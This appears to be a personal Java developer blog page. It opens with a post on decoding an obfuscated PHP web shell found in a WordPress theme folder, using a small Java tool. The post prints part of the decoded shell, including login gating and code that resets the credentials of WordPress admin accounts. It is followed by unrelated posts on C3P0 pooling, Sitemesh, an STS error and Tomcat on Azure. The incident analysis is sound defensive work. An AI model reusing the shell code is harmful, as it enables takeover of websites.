Java

java

How to Decode PHP’s gzinflate and base64_decode using Java

This morning i found a very weird script on one of my wordpress website, looks like someone has uploaded a malicious script into my wordpress’ theme folder.

It looks like some PHP script, but decoded using base64 and compressed using gzinflate functions. I try to decode the malicious script using PHP but my PHP knowledge is very little. So im using Java instead.

This is what the malicious script looks like :

<?php eval(gzinflate(base64_decode('7H35m9rItejPd75v/gfSmRvb10uztpvx2Ak7Er 
...bla bla bla.... RGpn/Aw==')));?>

Because i couldnt find a proper tools to decode it, so i create my own java class to decode this malicious PHP script.
Here is my java class

package base64decoder;

import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.util.Scanner;
import java.util.zip.Inflater;
import java.util.zip.InflaterInputStream;
import org.apache.commons.codec.binary.Base64;

public class GZipAndBase64Decoder {

    public static void main(String[] args) throws Exception {
        Scanner scanner = new Scanner(new File("coded.txt"));
        String isi = scanner.nextLine();
        InputStream inflInstream = new InflaterInputStream(
                new ByteArrayInputStream(new Base64().decode(isi)),
                new Inflater(true));
        byte bytes[] = new byte[4096];
        
        FileOutputStream fileOutputStream = new FileOutputStream(new File("decoded.txt"));
        
        while (true) {
            int length = inflInstream.read(bytes, 0, 4096);
            if (length == -1) {
                break;
            }
            fileOutputStream.write(bytes, 0, length);            
        }
        fileOutputStream.flush();
        fileOutputStream.close();
    }
}

Create a file “coded.txt” and copy-pasted your encoded + gzinflate script to that file. But remember, only copy the highlighted part

<?php eval(gzinflate(base64_decode('
MALICIOUS SCRIPT
')));?>

you will find the decoded script on file “decoded.txt”. This is what the decoded PHP script looks like

error_reporting(0);
@set_time_limit(0);
@session_start();
// configuration
$xSoftware = trim(getenv("SERVER_SOFTWARE"));
// server name
$xServerName = $_SERVER["HTTP_HOST"];
$xName = "BlackAsu";
$masukin = "892ab763f02795bfa28354ef1d39059f";  //cange you password (hash md5) 
$nikmatin = (md5($_POST['pass']));
$crotzz = 1;  // ' 0 '  no login pass
if($nikmatin == $masukin){
	$_SESSION['login'] = "$nikmatin";
}
if($crotzz){
	if(!isset($_SESSION['login']) or $_SESSION['login'] != $masukin){
		die("
// bla bla bla bla (im too lazy to copy paste the whole script		

Use this script if you want to decode plain un-gzinflate Base64 script

package base64decoder;

import java.io.File;
import java.io.FileOutputStream;
import java.util.Scanner;
import org.apache.commons.codec.binary.Base64;

public class Base64Decoder {

    public static void main(String[] args) throws Exception {
        Scanner scanner = new Scanner(new File("coded2.txt"));
        String isi = scanner.nextLine();
        
        FileOutputStream fileOutputStream = new FileOutputStream(new File("decoded2.txt"));
        fileOutputStream.write(new String(new Base64().decode(isi)).getBytes());
        fileOutputStream.flush();
        fileOutputStream.close();
    }
}

im using Apache Common Codec to handle Base64 encoding-decoding

And btw, take a look at some part of the malicious script

echo "<FORM method='POST'>
<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
<tr><td>&nbsp;&nbsp;User baru</td><td>
<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
 <tr><td>&nbsp;&nbsp;Pass Baru</td><td>
<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />&nbsp;

<input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd   = $_POST['pwd'];
$admin = $_POST['admin'];

 @mysql_connect($localhost,$username,$password) or die(mysql_error());
 @mysql_select_db($database) or die(mysql_error());

$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());


if($a4s){
echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
}

Okay, so today’s wise word is, dont forget to change your wordpress’ table prefix :p

Setting Up C3P0 Connection Pooling on Apache Tomcat

My using this configuration on my Apache Tomcat 7 for my heavy-load application, and it runs very well. I put this code on context.xml under Apache Tomcat’s conf folder.

<Resource name="myconnection" auth="Container"
	driverClass="com.mysql.jdbc.Driver"
	jdbcUrl="jdbc:mysql://localhost:3306/mydatabase"
	user="root"
	password="xxxx"                                                      
	factory="org.apache.naming.factory.BeanFactory" 
	type="com.mchange.v2.c3p0.ComboPooledDataSource" 
	maxPoolSize="50" 	
	minPoolSize="15" 
	acquireIncrement="3" 
	acquireRetryAttempts = "0"
	acquireRetryDelay = "3000"
	breakAfterAcquireFailure = "false"
	maxConnectionAge = "60"
	maxIdleTime = "30"
	maxIdleTimeExcessConnections = "10"
	idleConnectionTestPeriod = "15"
	testConnectionOnCheckout = "true"
	preferredTestQuery = "SELECT 1"
	debugUnreturnedConnectionStackTraces = "true"	
	autoCommitOnClose="true"
	/>

I use MySql’s command “SHOW PROCESSLIST” for checking on opened connection to MySql.

I hope it helped others.
:-[

Beginning Sitemesh

In this tutorial, im trying to create a simple application using Sitemesh. According to Wikipedia, Sitemesh is a web-page layout and decoration framework and web application integration framework to aid in creating large sites consisting of many pages for which a consistent look/feel, navigation and layout scheme is required. So basically, Sitemesh is a templating engine or a decorator pattern.

Let’s start with a simple application, first is a maven’s pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.edw</groupId>
    <artifactId>SitemeshExample</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>war</packaging>

    <name>SitemeshExample Web App</name>

    <properties>
        <endorsed.dir>${project.build.directory}/endorsed</endorsed.dir>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <netbeans.hint.deploy.server>Tomcat70</netbeans.hint.deploy.server>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax</groupId>
            <artifactId>javaee-web-api</artifactId>
            <version>6.0</version>
            <scope>provided</scope>
        </dependency>

        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.8.1</version>
            <scope>test</scope>
        </dependency>
        
        <dependency>
            <groupId>opensymphony</groupId>
            <artifactId>sitemesh</artifactId>
            <version>2.4.2</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>2.3.2</version>
                <configuration>
                    <source>1.6</source>
                    <target>1.6</target>
                    <compilerArguments>
                        <endorseddirs>${endorsed.dir}</endorseddirs>
                    </compilerArguments>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-war-plugin</artifactId>
                <version>2.1</version>
                <configuration>
                    <failOnMissingWebXml>false</failOnMissingWebXml>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-dependency-plugin</artifactId>
                <version>2.1</version>
                <executions>
                    <execution>
                        <phase>validate</phase>
                        <goals>
                            <goal>copy</goal>
                        </goals>
                        <configuration>
                            <outputDirectory>${endorsed.dir}</outputDirectory>
                            <silent>true</silent>
                            <artifactItems>
                                <artifactItem>
                                    <groupId>javax</groupId>
                                    <artifactId>javaee-endorsed-api</artifactId>
                                    <version>6.0</version>
                                    <type>jar</type>
                                </artifactItem>
                            </artifactItems>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
        <finalName>SitemeshExample</finalName>
    </build>
</project>

and this is my web.xml file,

<?xml version="1.0" encoding="UTF-8"?>
<web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
    <display-name>Sitemesh</display-name>
    <session-config>
        <session-timeout>
            30
        </session-timeout>
    </session-config>
    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>
    
    <filter>
        <filter-name>sitemesh</filter-name>
        <filter-class>com.opensymphony.sitemesh.webapp.SiteMeshFilter</filter-class>
    </filter>
 
    <filter-mapping>
        <filter-name>sitemesh</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
</web-app>

next step is creating decorators.xml under WEB-INF folder

<?xml version="1.0" encoding="UTF-8"?>
<decorators>
    <excludes>
        <pattern>/index.jsp</pattern> <!-- exclude example -->
        <pattern>*.js</pattern> <!-- exclude css files -->
        <pattern>*.css</pattern> <!-- exclude js files -->
    </excludes>
    <decorator name="basic-theme" page="/template/theme.jsp">        
        <pattern>/*</pattern>        
    </decorator>
</decorators>

and a base html template

<?xml version="1.0" encoding="UTF-8" ?>
<%@ taglib uri="http://www.opensymphony.com/sitemesh/decorator" prefix="decorator" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title>Title</title>
</head>
<body>
    <h1>Header</h1>
    <p><b>Menu</b></p>
    
    <decorator:body />
    
    <h1>Footer</b></h1>
</body>
</html>

And 2 .jsp files for example, index.jsp and dodol.jsp
index.jsp

<div>
    <h2>Hello WORLD...!! (Without Sitemesh)</h2>
</div>

and dodol.jsp

    <h1>Hello World! (With Sitemesh)</h1>

these is the screenshot when i deploy my application,

and this is my netbeans project structure

A Weird SpringSource Tool Suite (STS) Error, “No Java Virtual Machine was Found”

I had this weird error when i execute my Springsource Tool Suite, somehow it cannot found my JRE.

A Java Runtime Environment (JRE) or Java Development Kit (JDK) must be available in order to run STS. 

It looks like my “-vm” argument in STS.ini file still pointing at my uninstalled JRE location. I just do some minor change and replace it to my existing JDK location and my STS is running again.

Simple isnt it?

(W)

Setup Apache Tomcat and Ubuntu VM on Windows Azure

Recently i got a project which need me to deploy on a cloud infrastructure. After spending some time finding the right cloud provider, finally i choose Microsoft’s product Windows Azure. According to Wikipedia, Windows Azure is a Microsoft cloud computing platform used to build, host and scale web applications through Microsoft data centers.

Actually, i was a little suprised because Microsoft provided Ubuntu Server images for its VM OS selection. I tought the only OS available for Mcrosoft’s cloud platform would be from windows server family.

Okay, first i start by picking New Virtual Machine,and pick Ubuntu from list of Virtual Machines.

Next is selecting your VM name, username and password, and your virtual machine’s size, For this example, im trying a small size server.

Select your DNS name and region and your availability set. Finish your configuration, and start creating your Ubuntu VM on Azure.

Next is connect to your Ubuntu via SSH, and start downloading apache tomcat using this command.

sudo apt-get install tomcat7

It will install Apache Tomcat 7, and start your tomcat using this command,

sudo services tomcat7 start

check whether your Tomcat’s port (8080) has opened yet or not,

netstat -aon | grep 8080

Next is adding your tomcat port to your VM’s endpoints.

After youve add your endpoint, it’s time to test your tomcat server. Try accessing your public virtual ip address via browser and see whether your Tomcat Server is ready. 😉